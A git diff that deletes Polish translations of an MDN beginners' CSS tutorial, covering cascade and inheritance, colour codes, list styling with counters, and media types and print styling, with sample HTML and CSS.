W tej demonstracji dokument HTML posiada odnośnik do skryptu, mimo że używa go tylko element przycisku. -Mozilla rozszerza CSS, aby umożliwić wiązanie kodu JavaScript (oraz treści i innych arkuszy stylów) z wybranymi elementami. -Następna strona opisuje to: -Wiązania XBL -

{{ languages( { "en": "en/CSS/Getting_Started/JavaScript", "fr": "fr/CSS/Premiers_pas/JavaScript", "pt": "pt/CSS/Como_come\u00e7ar/JavaScript" } ) }} diff --git "a/files/pl/web/css/na_pocz\304\205tek/kaskadowo\305\233\304\207_i_dziedziczenie/index.html" "b/files/pl/web/css/na_pocz\304\205tek/kaskadowo\305\233\304\207_i_dziedziczenie/index.html" deleted file mode 100644 index f100424b2f..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/kaskadowo\305\233\304\207_i_dziedziczenie/index.html" +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Kaskadowość i dziedziczenie -slug: Web/CSS/Na_początek/Kaskadowość_i_dziedziczenie -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance -translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance ---- -

-

Ta strona tłumaczy jak arkusze stylów oddziaływują w kaskadzie, oraz jak elementy dziedziczą style od swoich rodziców. -

Nauczysz się zmieniać styl wielu elementów dokumentu jednym ruchem dzięki dziedziczeniu. -

-

Informacja: Kaskadowość i dziedziczenie

-

Ostateczny styl elementu może być określony w wielu różnych miejscach, które mogą na siebie oddziaływać w złożony sposób. -Złożone interakcje czynią CSS potężnym, ale także mogą uczynić go niezrozumiałym i trudnym do debugowania. -

Trzy główne źródła informacji o stylu tworzą kaskadę. -Są to: -

- -

Styl użytkownika modyfikuje domyślny styl przeglądarki. -Styl autora dokumentu modyfikuje ten styl jeszcze bardziej. -W tym kursie Ty jesteś autorem przykładowego dokumentu i pracujesz tylko ze stylem autora. -

- - -
Przykład -
Kiedy czytasz ten dokument w przeglądarce Mozilla, część stylu, który widzisz, pochodzi z domyślnego stylu przeglądarki dla HTML-a. -

Część tego stylu pochodzi z Twoich ustawień przeglądarki w Opcjach lub z pliku userContent.css w profilu przeglądarki. -

Część tego stylu pochodzi z arkusza stylów podpiętego do tego dokumentu przez serwer wiki. -

-
-

Kiedy otwierasz przykładowy dokument w swojej przeglądarce, elementy STRONG są pogrubione w stosunku do reszty tekstu. Dzieje się tak, ponieważ zostało to ustawione w domyślnym stylu przeglądarki dla HTML-a. -

Elementy STRONG są czerwone. To ustawienie pochodzi z Twojego arkusza stylów. -

Elementy STRONG dziedziczą też większość ustawień stylu elementu P, ponieważ są jego dziećmi. W ten sam sposób element P dziedziczy wiele ustawień ze stylu elementu BODY. -

Dla stylów w kaskadzie najważniejsze są style autora strony, potem czytelnika, a na końcu ustawienia domyślne przeglądarki. -

Dla dziedziczonych stylów własne style ich dzieci mają wyższy priorytet od stylu dziedziczonego po rodzicu. -

Nie są to jedyne istniejące priorytety. Dalsze strony tego kursu wyjaśnią więcej. -

- - -
Więcej szczegółów -
CSS daje też czytelnikowi możliwość nadpisania stylów autora dokumentu przez użycie słowa kluczowego !important. -

Oznacza to, że jako autor dokumentu, nie możesz nigdy dokładnie przewidzieć, co czytelnicy zobaczą. -

Jeżeli chcesz poznać wszystkie szczegóły kaskadowości i dziedziczenia, zobacz Przypisywanie wartości własności, Kaskadowość oraz dziedziczenie w specyfikacji CSS. -

-
-

Zadanie: Używanie dziedziczenia

-

Wyedytuj Twój przykładowy plik CSS. -

Dodaj tę linię poprzez skopiowanie i wklejenie jej. -Nie ma żadnego znaczenia, czy dodasz ją pod czy nad linią, która już tam jest. -Jednakże dodawanie jej na górze jest bardziej logiczne, ponieważ w Twoim dokumencie element P jest rodzicem elementu STRONG: -

-
p {color: blue; text-decoration: underline;}
-
-

Teraz odśwież okno przeglądarki, aby obejrzeć efekt na przykładowym dokumencie. -Podkreślenie wpłynęło na cały tekst paragrafu, włączając w to początkowe litery. -Elementy STRONG dziedziczyły styl podkreślenia po swoim rodzicu, elemencie P. -

Ale elementy STRONG nadal są czerwone. Kolor czerwony jest ich własnym stylem, ma zatem wyższy priorytet niż niebieski kolor ich rodzica, elementu P. -

- - -
- - -
Przed -
Cascading Style Sheets -
-
- - -
Po -
Cascading Style Sheets -
-
-


-

- - -
Wyzwanie -
Zmień swój arkusz stylów, aby tylko czerwone litery były podkreślone: - - -
Cascading Style Sheets -
-
-


-

-

Co dalej?

-

Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji. -

Twój przykładowy arkusz stylów opisuje style dla znaczników P oraz STRONG, -zmieniając styl odpowiednich elementów w Twoim dokumencie. -Następna strona opisuje, jak określić styl w bardziej selektywny sposób: -Selektory -

{{ languages( { "en": "en/CSS/Getting_Started/Cascading_and_inheritance", "fr": "fr/CSS/Premiers_pas/Cascade_et_h\u00e9ritage", "it": "it/Conoscere_i_CSS/Cascata_ed_ereditariet\u00e0", "ja": "ja/CSS/Getting_Started/Cascading_and_inheritance", "pt": "pt/CSS/Como_come\u00e7ar/Cascata_e_heran\u00e7a", "zh-cn": "cn/CSS/Getting_Started/Cascading_and_inheritance" } ) }} diff --git "a/files/pl/web/css/na_pocz\304\205tek/kolor/index.html" "b/files/pl/web/css/na_pocz\304\205tek/kolor/index.html" deleted file mode 100644 index db5bfd5e7d..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/kolor/index.html" +++ /dev/null @@ -1,209 +0,0 @@ ---- -title: Kolor -slug: Web/CSS/Na_początek/Kolor -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors -translation_of_original: Web/Guide/CSS/Getting_started/Color ---- -

-

Ta strona dokładniej opisuje sposoby pracy z kolorami w CSS-ie. -

W swoim przykładowym arkuszu stylów, dodasz kolory tła. -

-

Informacja: Kolor

-

Do tej pory w tym kursie używałeś(aś) ograniczonej liczby nazwanych kolorów. -CSS 2 definiuje 17 nazwanych kolorów. -Niektóre z nazw mogą nie być tym, czego się spodziewasz: -

- - - - - - - - -
  black   gray   silver   white -
podstawowe red   lime   blue -
drugorzędne yellow   aqua   fuchsia -
 maroon  orange  olive  purple  green  navy  teal -
-


-

- - -
Więcej szczegółów -
Twoja przeglądarka może obsługiwać znacznie więcej nazwanych kolorów, na przykład: - - -
dodgerblue  peachpuff   tan   firebrick   aquamarine -
-

Szczegółową listę znajdziesz w dokumentacji CSS 3, w module Kolor, sekcji -słowa kluczowe kolorów w SVG. Unikaj używania nazwanych kolorów, których przeglądarka osoby czytającej Twój dokument może nie obsługiwać. -

-
-

Aby móc korzystać w większej palety kolorów, określ czerwony, zielony i niebieski komponent koloru, z którego chcesz skorzystać, używając znaku "hash" oraz trzech heksadecymalnych liczb w zakresie od 0 – 9, a – f. Litery a – f reprezentują wartości 10 – 15. -

- - - - - - - - - - -
black  #000 -
pure red   #f00 -
pure green   #0f0 -
pure blue   #00f -
white   #fff -
-

Aby skorzystać z pełnej palety, określ dwie heksadecymalne liczby na każdy komponent: -

- - - - - - - - - - -
black   #000000 -
pure red   #ff0000 -
pure green   #00ff00 -
pure blue   #0000ff -
white   #ffffff -
-

Zazwyczaj te sześcioliczbowe, heksadecymalne kody możesz pobrać z Twojego programu graficznego lub innego narzędzia. -

- - - - -
Przykłady -
Odrobina praktyki i w większości wypadków możesz modyfikować trzyliczbowe kolory ręcznie: - - - - - - - - - - - - -
Zacznij od czystej czerwieni:  #f00 -
Aby ją rozjaśnić, dodaj trochę zielonego i niebieskiego:  #f77 -
Aby kolor był bardziej pomarańczowy, dodaj trochę zielonego:  #fa7 -
Aby kolor był ciemniejszy, zmniejsz wartość wszystkich komponentów:  #c74 -
Aby zmniejszyć nasycenie, zmniejsz różnice między wartościami komponentów:  #c98 -
Jeśli ustawisz jednakową wartość wszystkich komponentów, uzyskasz kolor szary:  #ccc -
-
Aby uzyskać pastelowy odcień, taki jak blady niebieski: - - - - -
Zacznij od białego:  #fff -
Zredukuj trochę wartości komponentów innych, niż niebieski:  #eef -
-
-


-

- - -
Więcej szczegółów -
Możesz także określić kolor, używając decymalnych wartości RGB w zakresie 0 – 255, lub procentów. -

Na przykład to jest kasztanowaty (ciemnoczerwony): -

-
-rgb(128, 0, 0)
-
-

Więcej szczegółów na temat określania kolorów znajdziesz w sekcji -Kolory w specyfikacji CSS. -

Więcej informacji na temat dopasowania kolorów do kolorów systemowych, jak Menu czy ThreeDFace, znajdziesz w: -CSS2 Kolory Systemowe specyfikacji CSS. -

-
-


-

-

Własności kolorów

-

Korzystałeś(aś) już z własności color dla tekstu. -

Możesz też użyć własności background-color, aby zmienić tła elementów. -

Jeżeli ustawisz wartość tła na transparent, będzie ono przezroczyste i pokaże tło elementu rodzica. -

- - -
Przykład -
Boksy Przykład w tym kursie używają bladożółtego tła: -
-background-color: #fffff4;
-
-

Boksy Więcej szczegółów używają bladoszarego: -

-
-background-color: #f4f4f4;
-
-
-

Zadanie: Korzystanie z kodów kolorów

-

Wyedytuj swój plik CSS. -

Wykonaj zmiany oznaczone tutaj pogrubieniem, aby nadać pierwszym literom bladoniebieskie tło. -(Styl i komentarze w Twoim pliku będą prawdopodobnie inne niż pokazane tutaj. -Zachowaj styl i komentarze w stylu jaki wybrałeś(aś)). -

-
-
/*** CSS Tutorial: Color page ***/
-
-/* page font */
-body {font: 16px "Comic Sans MS", cursive;}
-
-/* paragraphs */
-p {color: blue;}
-#first {font-style: italic;}
-
-/* initial letters */
-strong {
- color: red;
- background-color: #ddf;
- font: 200% serif;
- }
-
-.carrot {color: red;}
-.spinach {color: green;}
-
-
-

Odśwież okno przeglądarki, aby zobaczyć wynik: -

- - - - -
Cascading Style Sheets -
Cascading Style Sheets -
-


-

- - -
Wyzwanie -
W swoim pliku CSS zmień wszystkie nazwy kolorów na 3-cyfrowe kody kolorów, tak, żeby rezultat pozostał taki sam. -

(To nie jest do końca możliwe, ale możesz być blisko ideału. -Aby uzyskać dokładnie taki efekt, potrzebujesz 6-cyfrowych kodów oraz musisz zajrzeć do specyfikacji CSS lub użyć narzędzia graficznego, aby znaleźć odpowiednie kody). -

-
-


-

-

Co dalej?

-

Twój przykładowy dokument i przykładowy arkusz stylów ściśle rozdzielają treść od stylu. -

Następna strona wyjaśnia, jak robić wyjątki od tego rozdziału: -Treść -

-
-
-{{ languages( { "en": "en/CSS/Getting_Started/Color", "fr": "fr/CSS/Premiers_pas/Couleurs", "it": "it/Conoscere_i_CSS/Colori", "ja": "ja/CSS/Getting_Started/Color", "pt": "pt/CSS/Como_come\u00e7ar/Cor" } ) }} diff --git "a/files/pl/web/css/na_pocz\304\205tek/listy/index.html" "b/files/pl/web/css/na_pocz\304\205tek/listy/index.html" deleted file mode 100644 index 64f4218a9d..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/listy/index.html" +++ /dev/null @@ -1,269 +0,0 @@ ---- -title: Listy -slug: Web/CSS/Na_początek/Listy -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/Styling_text/Styling_lists -translation_of_original: Web/Guide/CSS/Getting_started/Lists ---- -

-

Ta strona opisuje jak możesz użyć CSS-a do określania wyglądu list. -

Stworzysz nowy dokument zawierający listę, oraz nowy arkusz stylów ze stylami dla niej. -

-

Informacja: Listy

-

Jeżeli podjąłeś(aś) wyzwanie z poprzedniej strony (Treść), widziałeś(aś), jak można dodać treść przed jakimś elementem, aby wyglądało to jak elementy listy. -

CSS posiada specjalne własności stworzone dla list. -Staraj się z nich korzystać, jeśli masz możliwość. -

Aby określić styl dla listy, użyj własności list-style do określenia typu znacznika. -

Selektor w regule CSS może określać elementy listy (np. LI) lub element rodzica list (np. UL), z którego elementy listy będą dziedziczyły te style. -

-

Listy nieuporządkowane (unordered lists)

-

W liście nieuporządkowanej każdy element jest oznaczony w ten sam sposób. -

W CSS występują trzy typy oznaczeń. -Wyświetlane są w następujący sposób: -

- -

Alternatywnie możesz określić URL do obrazka. -

- - -
Przykład -
Te reguły określają różne oznaczenia dla różnych klas elementów listy: -
-

li.open {list-style: circle;} -li.closed {list-style: disc;} -

-
-

Kiedy użyjesz tych klas w liście, rozdzielisz elementy otwarte i zamknięte: -

-
-

<UL> -

-
 <LI class="open">Lorem ipsum</LI>
- <LI class="closed">Dolor sit</LI>
- <LI class="closed">Amet consectetuer</LI>
- <LI class="open">Magna aliquam</LI>
- <LI class="closed">Autem veleum</LI>
-
-

</UL> -

-
-

Wynik może wyglądać na przykład tak: -

- - -
    -
  • Lorem ipsum
  • -
  • Dolor sit
  • -
  • Amet consectetuer
  • -
  • Magna aliquam
  • -
  • Autem veleum
  • -
-
-
-

Listy uporządkowane (ordered lists)

-

W przypadku list uporządkowanych każdy element listy jest osobno oznaczony, aby zaznaczyć jego pozycję w sekwencji. -

Użyj własności list-style, aby określić typ oznaczenia: -

- - - -
Przykład -
Ta reguła określa, że w bloku OL z klasą info elementy są oznaczane dużymi literami. -
-

ol.info {list-style: upper-latin;} -

-
-

Elementy LI dziedziczą ten styl: -

- - -
    -
  • Lorem ipsum
  • -
  • Dolor sit
  • -
  • Amet consectetuer
  • -
  • Magna aliquam
  • -
  • Autem veleum
  • -
-
-
- - -
Więcej szczegółów -
Własność list-style jest własnością skrótową. W złożonych arkuszach stylów raczej będziesz wolał(a) używać osobnych własności dla osobnych wartości. Aby dowiedzieć się więcej na temat osobnych własności oraz jak CSS określa listy, zajrzyj do sekcji Listy w dokumentacji CSS. -

Jeżeli używasz języka znaczników, jak HTML, który korzysta z własnych znaczników dla list nieuporządkowanych (UL) i uporządkowanych (OL), wówczas dobrym zwyczajem jest korzystanie z nich zgodnie z przeznaczeniem. Jednakże możesz użyć CSS, aby wyświetlić UL jako posortowaną, a OL jako nieposortowaną, jeśli wolisz. -

Różne przeglądarki w różny sposób obsługują te style dla list. -Nie oczekuj, że Twój arkusz stylów zostanie wyświetlony identycznie we wszystkich. -

-
-

Liczniki

-
-

Notatka:  Niektóre przeglądarki nie obsługują liczników.

-
-

Możesz używać liczników do różnych elementów, nie tylko list. -Na przykład w niektórych dokumentacjach możesz chcieć numerować nagłówki lub paragrafy. -

Aby określić numerację, musisz zadeklarować counter z określoną nazwą. -

W którymś z elementów, zanim rozpocznie się naliczanie, zresetuj licznik, używając właściwości counter-reset i nazwą Twojego licznika. -Rodzic elementów, które liczysz, jest dobrym miejscem na reset, ale możesz użyć dowolnego elementu, który pojawia się przed elementami listy. -

W każdym elemencie, w którym licznik jest inkrementowany, dodaj właściwość counter-increment. Jako wartość podaj nazwę licznika. -

Aby wyświetlić wartość licznika, dodaj :before lub :after do selektora i użyj własności content (tak jak na poprzedniej stronie Treść). -

Jako wartość własności content wstaw counter() z nazwą swojego licznika. -Opcjonalnie określ typ. -Typy są takie same jak w sekcji 'listy uporządkowane. -

Zwykle element, który wyświetla licznik, inkrementuje go. -

- - -
Przykład -
Ta reguła inicjalizuje licznik w każdym elemencie H3 z klasą numbered: -
-

h3.numbered {counter-reset: mynum;} -

-
-

Ta reguła wyświetla i inkrementuje licznik dla każdego elementu P z klasą numbered: -

-
-

p.numbered:before { -

-
 content: counter(mynum) ": ";
- counter-increment: mynum;
- font-weight: bold;}
-
-
-

Wynik wygląda tak: -

- - -
Heading
-

1: Lorem ipsum

-

2: Dolor sit

-

3: Amet consectetuer

-

4: Magna aliquam

-

5: Autem veleum

-
-
- - -
Więcej szczegółów -
Nie należy używać liczników, jeśli nie masz pewności, że każdy, kto czyta Twój dokument, posiada obsługującą je przeglądarkę. -

Jeżeli możesz używać liczników, mają one tę zaletę, że określasz ich styl niezależnie od elementów listy. W powyższym przykładzie liczniki są pogrubione, a elementu listy nie. -

Możesz też używać liczników w bardziej złożony sposób — na przykład do numerowania sekcji, nagłówków, podnagłówków i paragrafów w dokumentach. -Aby dowiedzieć się więcej, zajrzyj do specyfikacji CSS do sekcji Automatyczne liczniki i numerowanie. -

-
-

Zadanie: Style list

-

Stwórz nowy dokument HTML, doc2.html. -Skopiuj i wklej poniższą treść, upewniając się, że zaznaczyłeś(aś) cały: -

-
-

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> -<HTML> -<HEAD> -<TITLE>Sample document 2</TITLE> -<LINK rel="stylesheet" type="text/css" href="style2.css"> -</HEAD> -<BODY> - -<H3 id="oceans">The oceans</H3> -<UL> -<LI>Arctic</LI> -<LI>Atlantic</LI> -<LI>Pacific</LI> -<LI>Indian</LI> -<LI>Southern</LI> -</UL> - -<H3 class="numbered">Numbered paragraphs</H3> -<P class="numbered">Lorem ipsum</P> -<P class="numbered">Dolor sit</P> -<P class="numbered">Amet consectetuer</P> -<P class="numbered">Magna aliquam</P> -<P class="numbered">Autem veleum</P> - -</BODY> -</HTML> -

-
-

Stwórz nowy arkusz stylów, style2.css. -Skopiuj i wklej poniższą treść: -

-
-

/* numbered paragraphs */ -h3.numbered {counter-reset: mynum;} - -p.numbered:before { -

-
 content: counter(mynum) ": ";
- counter-increment: mynum;
- font-weight: bold;}
-
-
-

Jeżeli układ i komentarze Ci nie odpowiadają, zmień je. -

Otwórz ten dokument w swojej przeglądarce. -Jeżeli Twoja przeglądarka obsługuje liczniki, zobaczysz coś takiego, jak poniżej. -Jeżeli Twoja przeglądarka nie obsługuje stylów, wówczas nie zobaczysz liczb (i prawdopodobnie także dwukropków): -

- - -

The oceans

-
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
-

Numbered paragraphs

-

1: Lorem ipsum

-

2: Dolor sit

-

3: Amet consectetuer

-

4: Magna aliquam

-

5: Autem veleum

-
-


-

- - -
Wyzwania -
Dodaj jedną regułę do swojego arkusza stylów, aby ponumerować oceany, używając rzymskich liczb od i do v: - - -

The oceans

-
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
-
-

Jeżeli Twoja przeglądarka obsługuje liczniki, zmień swój arkusz stylów, aby identyfikował nagłówki dużymi literami w takim stylu: -

- - -

(A) The oceans

-

. . . -

-

(B) Numbered paragraphs

-

. . . -

-
-
-


-

-

Co dalej?

-

Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji. -

Kiedy Twoja przeglądarka wyświetla przykładowy dokument, tworzy przy okazji przestrzeń dookoła elementów, które określają ich rozkład na stronie. -

Następna strona opisuje, jak można użyć CSS do pracy z przestrzenią wokół elementów: -Bloki -

{{ languages( { "en": "en/CSS/Getting_Started/Lists", "fr": "fr/CSS/Premiers_pas/Listes", "pt": "pt/CSS/Como_come\u00e7ar/Listas" } ) }} diff --git "a/files/pl/web/css/na_pocz\304\205tek/media/index.html" "b/files/pl/web/css/na_pocz\304\205tek/media/index.html" deleted file mode 100644 index ef6c87f8cf..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/media/index.html" +++ /dev/null @@ -1,318 +0,0 @@ ---- -title: Media -slug: Web/CSS/Na_początek/Media -tags: - - 'CSS:Na_początek' -translation_of: Web/Progressive_web_apps/Responsive/Media_types ---- -

-

Wiele stron tego kursu skupiało się na własnościach i wartościach CSS, których możesz użyć do określania wyglądu dokumentu. -

Ta strona wraca do tematu przeznaczenia i struktury arkuszy stylów. -

-

Informacja: Media

-

Przeznaczeniem CSS-u jest określanie jak dokumentu mają być prezentowane użytkownikowi. -Prezentacja może przyjąć wiele różnych form. -

Na przykład prawdopodobnie czytasz tę stronę na jakimś urządzeniu wyświetlającym. Ale możesz również chcieć wyświetlić ją na ekranie dla większego grona odbiorców lub wydrukować ją. -To są różne media o różnych charakterystykach. -CSS daje możliwość prezentowania dokumentu w różny sposób dla różnych mediów. -

Aby zdefiniować regułę, która będzie dotyczyła tylko określonego typu mediów, użyj @media z typem mediów oraz klamrami obejmującymi reguły, których ma to dotyczyć. -

- - -
Przykład -
Dokument na stronie WWW posiada pole nawigacyjne pozwalające użytkownikowi poruszać się po stronie. -

W języku znaczników element rodzica pola nawigacyjnego ma id nav-area. -

Kiedy dokument jest drukowany, pole nawigacyjne nie ma żadnego zastosowania, więc arkusz stylów usuwa je w całości: -

-
-

@media print { -

-
 #nav-area {display: none;}
- }
-
-
-
-

Niektóre z popularnych typów mediów: -

- - - - - - - - -
screenKolorowy wyświetlacz komputera -
printWyświetlanie na stronach -
projectionWyświetlane podczas projekcji -
allWszystkie media (domyślne) -
-


-

- - -
Więcej szczegółów -
Istnieją też inne sposoby określenia docelowych mediów. -

Język znaczników dokumentu może pozwalać na określenie typu mediów w odnośniku wiążącym arkusz stylów z dokumentem. Na przykład w HTML-u możesz opcjonalnie określić typ mediów w atrybucie media w znaczniku LINK. -

W CSS możesz użyć @import na początku arkusza stylów, aby zaimportować inny arkusz stylów z podanego adresu URL, opcjonalnie podając też typ mediów. -

Dzięki wykorzystaniu tych technik możesz rozdzielić reguły stylów dla różnych typów mediów do różnych plików. Może to być czasem przydane do ułożenia struktury Twojego dokumentu. -

Aby dowiedzieć się więcej na temat typów mediów, zajrzyj na stronę Media w specyfikacji CSS. -

Istnieje więcej przykładów wykorzystania własności display na dalszej stronie kursu: Dane XML. -

-
-

Drukowanie

-

CSS posiada specyficzne własności przeznaczone dla mediów stronicowych. -

Reguła @page może ustawiać marginesy strony. -Aby ustawić drukowanie dwustronne, możesz określić marginesy osobno dla @page:left oraz @page:right. -

Dla mediów stronicowych zazwyczaj należy używać odpowiednich jednostek długości takich jak cale (in), punkty (pt) = 1/72 cala), centymetry (cm) lub milimetry (mm). Równie dobrze możesz używać ems (em), aby dopasować się do rozmiaru czcionki, oraz procentów (%). -

Możesz kontrolować, jak zawartość dokumentu jest przełamywana na strony, przy użyciu własności page-break-before, page-break-after i page-break-inside. -

- - -
Przykład -
Ta reguła ustawia margines strony na jeden cal dla każdej strony: -
-

@page {margin: 1in;} -

-
-

Ta reguła zapewnia, że każdy element H! zaczyna się na nowej stronie: -

-
-

h1 {page-break-before: always;} -

-
-
-


-

- - -
Więcej szczegółów -
Aby dowiedzieć się więcej o obsłudze mediów stronicowych, zajrzyj na stronę Media stronicowe w specyfikacji CSS. -

Drukowanie, podobnie jak inne funkcje CSS, zależy od Twojej przeglądarki i jej ustawień. -Na przykład przeglądarka Mozilla ustawia domyślne marginesy, nagłówki i stopkę podczas druku. -Raczej nie będziesz w stanie przewidzieć ustawień przeglądarek innych użytkowników drukujących Twój dokument &mbdash; nie masz możliwości w pełni kontrolować wyniku. -

-
-

Interfejsy użytkownika

-

CSS ma pewne specjalne własności przeznaczone dla urządzeń obsługujących interfejs użytkownika, takich jak wyświetlacz komputera. To sprawia, że widok dokumentu zmienia się dynamicznie w trakcie pracy użytkownika z interfejsem. -

Nie istnieje osobny typ mediów dla urządzeń z interfejsem użytkownika. -

Istnieje pięć specjalnych selektorów: -

- - - - - - - - - - - - -
SelektorWybiera -
E:hoverDowolny element E, nad którym znajduje się wskaźnik -
E:focusDowolny element E, który jest w danym momencie aktywny dla interfejsu -
E:activeElement E, który jest wykorzystywany w aktualnie wykonywanej akcji użytkownika -
E:linkDowolny element E, który jest odnośnikiem do strony której użytkownik nie odwiedzał ostatnio -
E:visitedDowolny element E, który jest odnośnikiem do adresu URL, który użytkownik odwiedził niedawno -
-

Własność cursor określa kształt wskaźnika; niektóre z podstawowych kształtów podane są poniżej. Umieść kursor myszy nad elementami na tej liście, aby zobaczyć jak wygląda podany kursor: -

- - - - - - - - - - -
SelektorWybiera -
pointerWskazuje odnośnik -
waitWskazuje, że program nie może przyjmować danych -
progressWskazuje, że program w tej chwili pracuje, ale może przyjmować dane od użytkownika -
defaultDomyślny (zazwyczaj strzałka) -
-

Własność outline tworzy zewnętrzną linię, która zazwyczaj jest używana do oznaczenia pola aktywnego dla klawiatury. -Jej wartości są podobne do własności border, poza tym, że nie możesz określać osobno wartości dla poszczególnych boków. -

Kilka innych funkcji interfejsu użytkownika zostało zaimplementowanych przy użyciu atrybutów w tradycyjny sposób. Na przykład elementy, które są nieaktywne albo w trybie tylko do odczytu posiadają atrybut disabled lub readonly. -Selektory mogą określać takie atrybuty podobnie jak każde inne — poprzez użycie prostokątnych nawiasów: {{ mediawiki.external('disabled') }} lub {{ mediawiki.external('readonly') }}. -


-

- - -
Przykład -
Te reguły określają style dla przycisku, który zmienia się dynamicznie, kiedy użytkownik na nim operuje: -
-.green-button {
-  background-color:#cec;
-  color:#black;
-  border:2px outset #cec;
-  }
-
-.green-button[disabled] {
-  background-color:#cdc;
-  color:#777;
-  }
-
-.green-button:active {
-  border-style: inset;
-  }
-
-

To wiki nie obsługuje interfejsu użytkownika na tej stronie, zatem przyciski nie mogą być *klikalne*. Poniżej znajdują się statyczne obrazki ilustrujące ideę: -

- - -
- - - - - - -
Click Me -Click Me -Click Me -
-
disablednormalactive -
-
-

W pełni funkcjonalny przycisk posiada dodatkowo ciemną linię wokół całego przycisku, kiedy jest on domyślny, oraz kropkowaną linię na przycisku, kiedy jest on aktywny dla klawiatury. Może także posiadać efekt aktywizacji, kiedy wskaźnik znajduje się nad nim. -

-
- - -
Więcej szczegółów -
Aby dowiedzieć się więcej o interfejsach użytkownika w CSS, zobacz stronę User interface w specyfikacji CSS. -

Istnieje też przykład napisany w języku znaczników Mozilli, XUL-u, w drugiej części tego kursu. -

-
-

Zadanie: Drukowanie dokumentu

-

Stwórz nowy dokument HTML, doc4.html. -Skopiuj i wklej poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: -

-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-
-<HEAD>
-<TITLE>Print sample</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style4.css"></strong>
-</HEAD>
-
-<BODY>
-<H1>Section A</H1>
-<P>This is the first section...</P>
-
-<H1>Section B</H1>
-<P>This is the second section...</P>
-
-<DIV id="print-head">
-Heading for paged media
-</DIV>
-
-<DIV id="print-foot">
-Page:
-</DIV>
-
-</BODY>
-</HTML>
-
-

Stwórz nowy arkusz stylów, style4.css. -Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: -

-
/*** Print sample ***/
-
-/* defaults  for screen */
-#print-head,
-#print-foot {
-  display: none;
-  }
-
-/* print only */
-@media print {
-
-h1 {
-  page-break-before: always;
-  padding-top: 2em;
-  }
-
-h1:first-child {
-  page-break-before: avoid;
-  counter-reset: page;
-  }
-
-#print-head {
-  display: block;
-  position: fixed;
-  top: 0pt;
-  left:0pt;
-  right: 0pt;
-
-  font-size: 200%;
-  text-align: center;
-  }
-
-#print-foot {
-  display: block;
-  position: fixed;
-  bottom: 0pt;
-  right: 0pt;
-
-  font-size: 200%;
-  }
-
-#print-foot:after {
-  content: counter(page);
-  counter-increment: page;
-  }
-
-} /* end print only */
-
-

Kiedy oglądasz ten dokument w swojej przeglądarce, używa on domyślnego stylu przeglądarki. -

Kiedy drukujesz go (lub oglądasz podgląd wydruku), arkusz stylów umieszcza każdą sekcję na osobnej stronie oraz dodaje nagłówek i stopkę do każdej strony. Jeżeli Twoja przeglądarka obsługuje także liczniki, dodaje numer strony w stopce. -

- - -
- - -
- - -
Heading
-
Section A
-
This is the first section...
-
Page: 1
-
-
-
- - -
- - -
Heading
-
Section B
-
This is the second section...
-
Page: 2
-
-
-
-


-

- - -
Wyzwanie -
Przesuń reguły stylu dotyczące drukowania do osobnego pliku CSS. -

Użyj wcześniejszych odnośników na tej stronie, aby znaleźć informacje w specyfikacji CSS. Znajdź szczegóły na temat, jak importować nowy plik CSS do swojego arkusza stylów. -

Spraw, aby nagłówek stawał się niebieski, kiedy kursor myszy znajdzie się nad nim. -

-
-


-

-

Co dalej?

-

Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji. -

Na razie wszystkie reguły stylów w tym kursie znajdowały się w plikach. Reguły i ich wartości są stałe. Następna strona opisuje, jak można modyfikować reguły dynamicznie, używając języka programowania: JavaScript -

{{ languages( { "en": "en/CSS/Getting_Started/Media", "fr": "fr/CSS/Premiers_pas/M\u00e9dias", "pt": "pt/CSS/Como_come\u00e7ar/M\u00eddia" } ) }} diff --git "a/files/pl/web/css/na_pocz\304\205tek/po_co_u\305\274ywa\304\207_css/index.html" "b/files/pl/web/css/na_pocz\304\205tek/po_co_u\305\274ywa\304\207_css/index.html" deleted file mode 100644 index 97c8144628..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/po_co_u\305\274ywa\304\207_css/index.html" +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Po co używać CSS -slug: Web/CSS/Na_początek/Po_co_używać_CSS -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS ---- -

-

Ta strona tłumaczy, do czego dokumenty wykorzystują CSS. -Używając CSS dodasz do swojego dokumentu arkusz stylów. -

-

Informacja: Po co używać CSS?

-

CSS pomaga utrzymać treść dokumentu oddzieloną od informacji o tym, jak należy ją wyświetlać. Szczegóły opisujące, jak należy wyświetlać dokument, są znane jako styl. Utrzymywanie rozdzielenia treści od wyglądu: -

- - - -
Przykład -
Twoja strona WWW może mieć wiele dokumentów wyglądających podobnie. Korzystając z CSS, przechowujesz informacje o wyglądzie w osobnych plikach używanych we wszystkich dokumentach. -

Kiedy użytkownik ogląda stronę WWW, przeglądarka pobiera informacje o stylach równolegle z treścią strony. -

Kiedy użytkownik drukuje stronę, można mu dostarczyć inne informacje o stylu, które sprawią, że wydrukowany dokument będzie bardziej czytelny. -

-
-

